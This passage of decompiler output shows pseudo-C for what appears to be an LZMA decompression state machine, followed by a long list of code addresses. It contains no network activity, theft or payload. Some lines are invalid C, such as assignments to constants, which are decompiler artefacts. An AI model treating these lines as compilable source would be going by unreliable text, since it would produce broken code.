													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x0040711c
0x0040711c
0x00407120
0x0040712d
0x00407137
0x00000000
0x00407122
0x00407122
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00407056
0x00407059
0x004073cb
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x0040741c
0x00407420
0x004075cf
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00407601
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00407447
0x00407447
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x004073cb
0x004073cb
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
